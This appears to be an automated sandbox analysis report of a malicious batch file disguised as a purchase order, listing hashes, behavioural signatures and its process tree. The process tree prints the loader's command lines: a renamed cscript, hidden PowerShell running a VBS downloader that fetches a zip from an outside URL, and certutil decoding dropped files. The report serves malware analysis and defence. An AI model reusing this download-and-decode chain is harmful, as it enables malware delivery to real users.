Analysis
- max time kernel
298s - max time network
295s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
10/09/2026, 14:37
Static task
static1
Behavioral task
behavioral1
Sample
Purchase Order_PO YRS00262602092026.bat
Resource
win10v2004-20260513-en
7 signatures
300 seconds
Behavioral task
behavioral2
Sample
Purchase Order_PO YRS00262602092026.bat
Resource
win11ltsc2024-20260709-en
9 signatures
300 seconds
General
- Target Purchase Order_PO YRS00262602092026.bat
- Size 389KB
- Sample260910-ry7dcsvdrf
- SHA256 6ee4ccedaac06562ee929036608060820ed9db9deb2cb3184e9d68a31ce22c22
- MD5 25ac9f8adaed5c6f97cb892ae70f0200
- SHA1 41acdf7a9945f0f0983ea16ef288421f4be149a3
- SHA512 914f215539019f1a52d391ef0b5e5523de07ff586e56d0f21931265e75c03712b6deca61f2eec76189dbc8bff05a41af2bd8df8c370daaf87fd78b8244d7668f
- SSDEEP 6144:VT6fanYwUgVBQBngWz0Jgh20w5yHXtcaTISmjj28xO7tqz+SuO7hjnkpKa:1R0mvZwtI+SuO7hjgl
- TLSH T108842B3563A66D8D1846E696E82FD05830D5F1FA0ACC3EE9E1ED92DF10D7E088C1786D
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5020 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 2968 ript.exe -
pid Process 3504 certutil.exe 4152 certutil.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4560 cmd.exe 3808 cmd.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 5020 powershell.exe 5020 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5020 powershell.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4560 wrote to memory of 3808 4560 cmd.exe 86 PID 3808 wrote to memory of 3760 3808 cmd.exe 87 PID 4560 wrote to memory of 5020 4560 cmd.exe 88 PID 5020 wrote to memory of 2968 5020 powershell.exe 89 PID 4560 wrote to memory of 3504 4560 cmd.exe 104 PID 4560 wrote to memory of 4152 4560 cmd.exe 105
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Purchase Order_PO YRS00262602092026.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4560 -
C:\Windows\system32\cmd.execmd /c extrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3808 -
C:\Windows\system32\extrac32.exeextrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe3⤵PID:3760
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-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\Users\Admin\AppData\Local\Temp\\ript.exe C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Users\Admin\AppData\Local\Temp\ript.exe"C:\Users\Admin\AppData\Local\Temp\ript.exe" C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip3⤵
- Executes dropped EXE
PID:2968
-
-
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C:\Windows\system32\certutil.execertutil -decode "C:\Users\Admin\AppData\Local\Temp\temp1.txt" "C:\Users\Admin\AppData\Local\Temp\env\libtcc.ini"2⤵
- Deobfuscate/Decode Files or Information
PID:3504
-
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C:\Windows\system32\certutil.execertutil -decode "C:\Users\Admin\AppData\Local\Temp\temp2.txt" "C:\Users\Admin\AppData\Local\Temp\env\lib.c"2⤵
- Deobfuscate/Decode Files or Information
PID:4152
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2li2enge.uu4.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\aloha.vbs
- Size 194B
- SHA256 08212be8f6fd3d4312f20a7604807c04da643333f07267c7e9713a452e079898
- MD5 71efa4ec6c67fa5665b1d0c64d60fc25
- SHA1 f546eda2b94df327b7ad5fa5bb0ba20cd37b2623
- SHA512 7b1bbbb23e21cd011964397860b1cf5bdebbd20b6b3d5317c13ff5b3bdb0223a51c036be2b730254c11725a69c34ab90d2ae24872af788e076914364a82b31d6
- TLSH T104C02218E442C0C20702E64361718E03D280886513406A222685D9DB9509A0FCD1E2A3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\ript.exe
- Size 157KB
- SHA256 ae37fd1b642e797b36b9ffcec8a6e986732d011681061800c6b74426c28a9d03
- MD5 24590bf74bbbbfd7d7ac070f4e3c44fd
- SHA1 cdfe517d07f18623778829aa98d6bbadd3f294cd
- SHA512 ffaf2c86c9555513cdb51a7638f1fde3e8951a203aac63fd0aac62db297c853ac8c14e1a212c01d6b181df53e790f80489358489f6415d5c7fa53bfb8888bfa9
- SSDEEP 3072:O4jcFp8lMpEXjBEezimaUcmm0R/MsDM9/KhjULtgiTt6IZxttN:jjcY+yXjBEeGmaNmmnCLUgEtfZhN
- TLSH T1F3F3F85B72E871D4E1B5523889634285DB72B8341F22ABEF1294837E5F336D8AD34F21
- MD5 SHA1 SHA512 SSDEEP TLSH